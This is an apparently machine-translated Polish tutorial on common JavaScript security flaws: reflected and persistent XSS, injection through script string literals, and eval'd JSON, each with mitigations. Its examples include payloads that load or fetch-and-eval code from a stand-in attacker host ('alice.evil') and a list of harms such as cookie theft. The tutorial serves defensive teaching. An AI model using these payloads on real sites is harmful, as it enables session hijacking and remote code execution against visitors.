Szukaj…
Wprowadzenie
Jest to zbiór typowych problemów bezpieczeństwa JavaScript, takich jak XSS i wstrzykiwanie eval. Ta kolekcja zawiera także sposoby łagodzenia tych problemów bezpieczeństwa.
Odbicie skryptów cross-site (XSS)
Załóżmy, że Joe jest właścicielem witryny internetowej, która umożliwia logowanie, przeglądanie filmów szczeniąt i zapisywanie ich na koncie.
Za każdym razem, gdy użytkownik wyszukuje w tej witrynie, zostaje przekierowany na https://example.com/search?q=brown+puppies
.
Jeśli wyszukiwanie użytkownika nic nie pasuje, to zobaczy komunikat w następujący sposób:
Twoje wyszukiwanie ( brązowe szczenięta ) nic nie pasowało. Spróbuj ponownie.
Na backendie ten komunikat jest wyświetlany w następujący sposób:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
Jednak gdy Alice szuka <h1>headings</h1>
, odzyskuje to:
Twoje wyszukiwania (
nagłówki
) nic nie pasowało. Spróbuj ponownie.
Surowy HTML:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Następnie Alice szuka <script>alert(1)</script>
, widzi:
Twoje wyszukiwanie () nie pasuje do niczego. Spróbuj ponownie.
I:
Następnie Alice szuka <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
i kopiuje link w swoim pasku adresu, a następnie <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
e-maile do Boba:
Kok,
Kiedy szukam ślicznych szczeniąt , nic się nie dzieje!
Następnie Alice z powodzeniem nakłania Boba do uruchomienia skryptu, gdy Bob jest zalogowany na swoje konto.
Łagodzenie:
- Unikaj wszystkich nawiasów kątowych w wyszukiwaniu przed zwróceniem wyszukiwanego terminu, gdy nie zostaną znalezione żadne wyniki.
- Nie zwracaj wyszukiwanego hasła, gdy nie zostaną znalezione żadne wyniki.
- Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen
Trwałe skrypty cross-site (XSS)
Załóżmy, że Bob jest właścicielem serwisu społecznościowego, który umożliwia użytkownikom personalizowanie ich profili.
Alice idzie na stronę Boba, tworzy konto i przechodzi do ustawień profilu. Ustawia opis swojego profilu tak, I'm actually too lazy to write something here.
Gdy jej znajomi przeglądają jej profil, ten kod jest uruchamiany na serwerze:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
Wynikające z tego HTML:
<div>I'm actually too lazy to write something here.</div>
Następnie Alicja ustawia opis swojego profilu na <b>I like HTML</b>
. Kiedy odwiedza swój profil, zamiast widzieć
<b> Lubię HTML </b>
ona widzi
Lubię HTML
Następnie Alice ustawia swój profil na
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
Za każdym razem, gdy ktoś odwiedza jej profil, skrypt Alice jest uruchamiany na stronie Boba, gdy jest zalogowany jako swoje konto.
Łagodzenie
- Kątowniki ucieczkowe w opisach profili itp.
- Przechowuj opisy profili w zwykłym pliku tekstowym, który jest następnie pobierany za pomocą skryptu, który dodaje opis poprzez
.innerText
- Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen
Trwałe skrypty między witrynami z literałów ciągów JavaScript
Załóżmy, że Bob jest właścicielem witryny, która umożliwia publikowanie wiadomości publicznych.
Wiadomości są ładowane przez skrypt, który wygląda następująco:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
Funkcja addMessage
dodaje opublikowaną wiadomość do DOM. Jednak, aby uniknąć XSS, każdy HTML w opublikowanych wiadomościach jest uciekany.
Skrypt jest generowany na serwerze w następujący sposób:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
Więc Alicja publikuje wiadomość: My mom said: "Life is good. Pie makes it better. "
. Następnie, gdy wyświetla podgląd wiadomości, zamiast zobaczyć wiadomość, widzi błąd w konsoli:
Uncaught SyntaxError: missing ) after argument list
Dlaczego? Ponieważ wygenerowany skrypt wygląda następująco:
addMessage("My mom said: "Life is good. Pie makes it better. "");
To błąd składniowy. Niż posty Alice:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
Następnie wygenerowany skrypt wygląda następująco:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
To dodaje komunikat „ I like pie
, ale pobiera i uruchamia https://alice.evil/js_xss.js
za każdym razem, gdy ktoś odwiedza witrynę Boba.
Łagodzenie:
- Przekaż wiadomość wysłaną do JSON.stringify ()
- Zamiast dynamicznie budować skrypt, zbuduj zwykły plik tekstowy zawierający wszystkie wiadomości, które są później pobierane przez skrypt
- Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen
Dlaczego skrypty innych osób mogą zaszkodzić Twojej witrynie i jej odwiedzającym?
Jeśli nie uważasz, że złośliwe skrypty mogą zaszkodzić Twojej witrynie, jesteś w błędzie . Oto lista działań złośliwego skryptu:
- Usuń się z DOM, aby nie można go było prześledzić
- Kradnij pliki cookie sesji użytkowników i zezwól autorowi skryptu na zalogowanie się i podszywanie się pod nich
- Pokaż fałszywe „Twoja sesja wygasła. Zaloguj się ponownie”. wiadomość, która wysyła hasło użytkownika do autora skryptu .
- Zarejestruj szkodliwego pracownika serwisu, który uruchamia złośliwy skrypt przy każdej wizycie na stronie w tej witrynie.
- Załóż fałszywą zapłatę domagającą się, aby użytkownicy płacili pieniądze za dostęp do strony, która faktycznie trafia do autora skryptu .
Nie myśl, że XSS nie zaszkodzi Twojej witrynie i jej odwiedzającym.
Zastrzyk Evaled JSON
Powiedzmy, że ilekroć ktoś odwiedza stronę profilu w witrynie Boba, pobierany jest następujący adres URL:
https://example.com/api/users/1234/profiledata.json
Przy takiej odpowiedzi:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
Następnie dane są analizowane i wstawiane:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
Wydaje się dobre, prawda? Źle.
Co jeśli czyjś opis to Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
? Wydaje się dziwne, ale jeśli źle zrobione, odpowiedź będzie:
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
I to będzie eval
:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
Jeśli nie uważasz, że to problem, wklej to w konsoli i zobacz, co się stanie.
Mitagacja
Użyj JSON.parse zamiast eval, aby uzyskać JSON. Ogólnie rzecz biorąc, nie używaj eval i zdecydowanie nie używaj eval z czymś, co użytkownik może kontrolować. Eval tworzy nowy kontekst wykonania , tworząc hit wydajności .
Prawidłowo usuń
"
i\
w danych użytkownika przed umieszczeniem go w JSON. Jeśli po prostu uciekniesz od"
, to się stanie:Hello! \"});alert(1);({
Zostanie przekonwertowany na:
"Hello! \\"});alert(1);({"
Ups Pamiętaj, aby uniknąć zarówno
\
i"
, lub po prostu użyć JSON.parse.